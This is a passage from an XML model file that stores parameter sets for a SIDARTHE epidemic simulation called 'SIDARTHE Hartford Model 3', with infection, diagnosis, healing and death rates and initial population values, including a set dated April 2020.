<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.88684000794542794" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.5576870883176586" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.03343687362141326" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.88684000794542794" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="8.6592041070864848e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.7318408214172969e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="8.6592041070864843e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="4.3296020535432421e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.19499649242003383" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.03343687362141326" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.19499649242003383" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.19499649242003383" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.033306191437466409" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.4260095446613192" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.4260095446613192" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.4260095446613192" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.34636706403087986" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_25" name="model3 - 4/15">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_25">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-15T21:12:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0106558421262199" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572661.9893376478" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0000065100335764" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.838359678109311" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.56767193562186224" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.28383596781093112" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.14191798390546556" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607846827794267" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607846827794267" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.0228038915200106" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.1592935507797506" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.1592936572328147" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15151515162455872" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15151515162455872" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.24992204623304229" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.1592936572328147" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499900848469012" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.035099672362677005" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="3.0106623521597964" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="3.0106623521597964" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.3553721255107574" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.3553721255107574" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.33361259392432" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.40143719785760101" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16009868084736711" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2154707680704269" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="7.9446566585708748e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="7.9446566585708738e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.588931331714175e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="3.9723283292854374e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999988178183286" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.86809850230318464" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.2943578140977752" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.022804039974110069" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.86809839967817082" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="7.9446566585708738e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.588931331714175e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="7.9446566585708748e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.9723283292854374e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607846827794267" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.15151515162455872" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0228038915200106" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15151515162455872" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15151515162455872" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.035099672362677005" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.1592936572328147" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.1592936572328147" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
